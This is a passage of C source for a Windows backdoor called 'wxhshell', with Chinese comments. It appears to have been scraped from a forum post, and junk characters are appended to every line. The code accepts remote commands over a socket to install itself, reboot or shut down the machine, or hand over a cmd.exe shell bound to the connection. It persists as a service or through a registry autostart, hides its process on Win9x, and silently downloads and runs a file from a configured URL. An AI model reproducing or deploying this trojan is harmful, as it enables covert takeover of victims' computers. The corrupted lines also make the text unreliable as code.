  // 安装 ,L-V?B(UQ  
  case 'i': { pIKfTkSqH  
    if(Install()) E `V?Io  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >4Qj+ou  
    else Nk1p)V SC  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PO|gM8E1x?  
    break; cE?p~fq<  
    } r[#*..Y  
  // 卸载 ?KE:KV[Y  
  case 'r': { @ 0/EKWF  
    if(Uninstall()) GC(QV}9z"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  sHOBT,B  
    else X+ /^s)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \KKE&3=  
    break; ~y/qm [P  
    } "#h/sAIs  
  // 显示 wxhshell 所在路径 A-h[vP!v|  
  case 'p': { .}E@ 7^X  
    char svExeFile[MAX_PATH]; :W+%jn  
    strcpy(svExeFile,"\n\r"); )q[Wzx_ j<  
      strcat(svExeFile,ExeFile); s%A?B 8,  
        send(wsh,svExeFile,strlen(svExeFile),0); *@W B aN+  
    break; =<AG}by![  
    } j!@, r^(  
  // 重启 `H9 !Z$7G  
  case 'b': { F'@ 9kdp  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); j@4]0o  
    if(Boot(REBOOT)) '>Thn{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :w7?]y6~S  
    else { F| P?|  
    closesocket(wsh); r&~]6 U  
    ExitThread(0); <)"2rxX&5  
    } (%9J( 4  
    break; =p dLh  
    } 474 oVdGx  
  // 关机 1k{H,p7  
  case 'd': { ?/(*cA  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *T.V5FB0S  
    if(Boot(SHUTDOWN)) =6=l.qyYK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hW\'EJ  
    else { iEbW[sX[ 4  
    closesocket(wsh); %UG|R:  
    ExitThread(0); ziv+*Qn_b4  
    } uX6rCokr  
    break; & sXMB  
    } : z\||f  
  // 获取shell kZfj"+p_S  
  case 's': { eu//Q'W  
    CmdShell(wsh); *g4Uo{  
    closesocket(wsh); ![eipOX  
    ExitThread(0); HaRx(p0  
    break; ~RV9'v4  
  } {5+ 39=(  
  // 退出 Dj3,SJ*x  
  case 'x': { Rk{vz|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >xXq:4l>}  
    CloseIt(wsh); 9j5B(_J^  
    break; Ix0#eoj  
    } Eks<O  
  // 离开 =!/T4Oo  
  case 'q': { $MM[`^~  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); \@zoM:[sN  
    closesocket(wsh); \[/}Cy  
    WSACleanup(); Yfy";C7X  
    exit(1); QHtN_Q_F  
    break; >}d6)s|   
        } fr8';Jm  
  } @[Wf!8_  
  }  vF'IK,  
~N )(|N  
  // 提示信息 $-(lp0\*  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _6L'}X$)N  
} YI]/gWeu  
  } %2beoH'  
;x/. 8fA  
  return; 9MbF:  
} fS%B/h=  
"Q{7X[$$^  
// shell模块句柄 u=0161g  
int CmdShell(SOCKET sock) ~$1g"jIw  
{ T7(d  
STARTUPINFO si; msOE#QL6a  
ZeroMemory(&si,sizeof(si)); Q*8 x Bi1  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; v(,YqT>q@U  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {RD9j1  
PROCESS_INFORMATION ProcessInfo; f3<253 1/}  
char cmdline[]="cmd"; dx.Jv/Mb  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); %mOQIXr1s  
  return 0; aED73:b  
} Z'd]oNF  
TnuA uui*  
// 自身启动模式 EV;"]lC9  
int StartFromService(void) {9~3y2:  
{ j ~I_by  
typedef struct 4UN|`'c  
{ M1*x47bN  
  DWORD ExitStatus; &0+Ba[Z ^  
  DWORD PebBaseAddress; gGs"i]c  
  DWORD AffinityMask; ifmX<'(9A  
  DWORD BasePriority; *#GX~3A  
  ULONG UniqueProcessId; H8E#r*"-m  
  ULONG InheritedFromUniqueProcessId; q{!ft9|K\d  
}   PROCESS_BASIC_INFORMATION; ?` 2z8uD/  
7b R[.|T  
PROCNTQSIP NtQueryInformationProcess; i3>_E <"9  
>=3oe.$)  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1TgD;qX  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +77j2W_0  
:2~2j-m  
  HANDLE             hProcess; #6#%y~N  
  PROCESS_BASIC_INFORMATION pbi; ^ JU#_  
G}nj 71=H  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); mw83pU6  
  if(NULL == hInst ) return 0; '"6*C*XS  
e_FoNT  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2l~qzT-  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); pQ8f$I#v  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); = jTC+0u  
g c<Y?a-  
  if (!NtQueryInformationProcess) return 0; "rpP  
3RI %OCGF  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 1WI^R lWd(  
  if(!hProcess) return 0;  3X9  
G(1_P1  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `b_n\pf ]  
k?_uv  
  CloseHandle(hProcess); k:&B b"  
]'z 5%'  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `a@YbuLd  
if(hProcess==NULL) return 0; ];QX&";Z  
NH'QMjL)  
HMODULE hMod; {$C"yksr  
char procName[255]; l4^MYwFR{O  
unsigned long cbNeeded; :6Gf@Z&+  
GvL\%0Ibx  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); p)~EG=p  
[] R8VC>Ah  
  CloseHandle(hProcess); GwmYhG<{  
u>V~:q\X  
if(strstr(procName,"services")) return 1; // 以服务启动 Qn/ 6gRLj  
v\5`n@}4  
  return 0; // 注册表启动 [MeFj!(  
} JE;!~=   
cq$ _$jRx  
// 主模块 E .CG  
int StartWxhshell(LPSTR lpCmdLine) d;).| .}P  
{ eqyUI|e  
  SOCKET wsl; WogCt,  
BOOL val=TRUE; r$,Xv+}  
  int port=0; zOis}$GR  
  struct sockaddr_in door; mD,fxm{G  
q oz[x  
  if(wscfg.ws_autoins) Install(); VrJf g  
5zF$Q{3  
port=atoi(lpCmdLine); ,F=FM>o  
X6r3$2!  
if(port<=0) port=wscfg.ws_port; ,oJ$m$(Lj  
F2Mxcs* M  
  WSADATA data; H)X&5E  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  y`pgJO  
{7EpljH@  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   kU{a!ca4  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,/dW*B  
  door.sin_family = AF_INET; es\Fn#?O  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); @$;I%  
  door.sin_port = htons(port); 0fN; L;v  
26=G%F6  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { VD+v \X_  
closesocket(wsl); |[$ TT$Fb  
return 1; OS=~<ba  
} +]e) :J  
-CTLQyj)  
  if(listen(wsl,2) == INVALID_SOCKET) { a *nCvZ  
closesocket(wsl); a@C}0IP)  
return 1; ^a7a_M  
} kXO c)  
  Wxhshell(wsl); lXutZ<S[  
  WSACleanup(); M'@  
4!-/m7%eF  
return 0; {wf5HA  
u/J1Z>0  
} tSVS ogGd  
RvyCc!d  
// 以NT服务方式启动 HgTBON(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <lRjh7  
{ )~ ^`[`  
DWORD   status = 0; GGsAisF"N  
  DWORD   specificError = 0xfffffff; MKX58y{+  
 4Gj  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Fh}GJE   
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; !_-Uwg  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  H@sM$8  
  serviceStatus.dwWin32ExitCode     = 0; Mwa Rwk;  
  serviceStatus.dwServiceSpecificExitCode = 0; FW3uq^  
  serviceStatus.dwCheckPoint       = 0; Z5@E|O&  
  serviceStatus.dwWaitHint       = 0; mJsU7bD`  
12l1u[TlS  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !HF<fn  
  if (hServiceStatusHandle==0) return; 8k^1:gt^  
~bgM*4GW  
status = GetLastError(); 6h1pPx7zU  
  if (status!=NO_ERROR) qCm8R@  
{ 5e^z]j1Yv  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; i4)]lWnd  
    serviceStatus.dwCheckPoint       = 0; FaKZ|~Y e  
    serviceStatus.dwWaitHint       = 0; <'~6L#>,<  
    serviceStatus.dwWin32ExitCode     = status; "7w=LhzV[$  
    serviceStatus.dwServiceSpecificExitCode = specificError; 'T]Ok\  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); %<MI]D  
    return; HE+D]7^  
  } PVrNS7 Rk/  
q,=YKw)*  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; /mK]O7O7  
  serviceStatus.dwCheckPoint       = 0; -`PLewvX  
  serviceStatus.dwWaitHint       = 0; MTn}]blH  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %U9f`qE  
} +a^0Q F-7  
1+xi1w}3a  
// 处理NT服务事件,比如:启动、停止 [=>[2Ty  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 27Vx<W  
{ CW,|l0i  
switch(fdwControl) e_3B\59k  
{ "j=E8Dd}  
case SERVICE_CONTROL_STOP: ,8stEp9~h]  
  serviceStatus.dwWin32ExitCode = 0; -9R.mG  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; e+y%M  
  serviceStatus.dwCheckPoint   = 0; 5IbCE.>iU  
  serviceStatus.dwWaitHint     = 0; wif1|!aL  
  { 5.lg*vh  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -5@hU8B'a  
  } VgS2_TU  
  return; )00jRuF  
case SERVICE_CONTROL_PAUSE: w=thaF.  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; s^/2sjoL  
  break; 5oo6d4[  
case SERVICE_CONTROL_CONTINUE: nQG<OVRClS  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; yjM!M|  
  break; 8L*#zaSAf  
case SERVICE_CONTROL_INTERROGATE: ~31-)*tJ]  
  break; 4\ny]A:~  
}; DK|/|C}6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); G#6O'G N  
} 8Y;2.Z`Rz  
g>{t>B%v^K  
// 标准应用程序主函数 j+2-Xy'  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) g ~%IA.$c  
{ Q;kl-upn~8  
qKs"L^b  
// 获取操作系统版本 n.1$p  
OsIsNt=GetOsVer(); uIR   
GetModuleFileName(NULL,ExeFile,MAX_PATH); _$KkSMA~_  
;.7]zn.X]2  
  // 从命令行安装 DO~~  
  if(strpbrk(lpCmdLine,"iI")) Install(); @Suww@<  
kWgrsN+Z  
  // 下载执行文件 i"n1E@  
if(wscfg.ws_downexe) { sfsK[c5bm  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)  9-y<= )  
  WinExec(wscfg.ws_filenam,SW_HIDE); Xet} J@C  
} T^Hq 5Oy  
bs)Ro/7}  
if(!OsIsNt) { ^%qQ)>I=j  
// 如果时win9x,隐藏进程并且设置为注册表启动 O)`ye5>v  
HideProc(); 1:4u]$@E  
StartWxhshell(lpCmdLine); hO(A_Bw  
} 8*eVP*g  
else +>:[irf  
  if(StartFromService()) (lvp-<*  
  // 以服务方式启动 _SQ]\Z  
  StartServiceCtrlDispatcher(DispatchTable); $Y%,?>AL<  
else 3H%bbFy  
  // 普通方式启动 S~GS:E#  
  StartWxhshell(lpCmdLine); ?Xq kf>  
R%Xz3Z&|  
return 0; ZsGJ[  
}
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只看该作者 1 发表于: 2006-10-10
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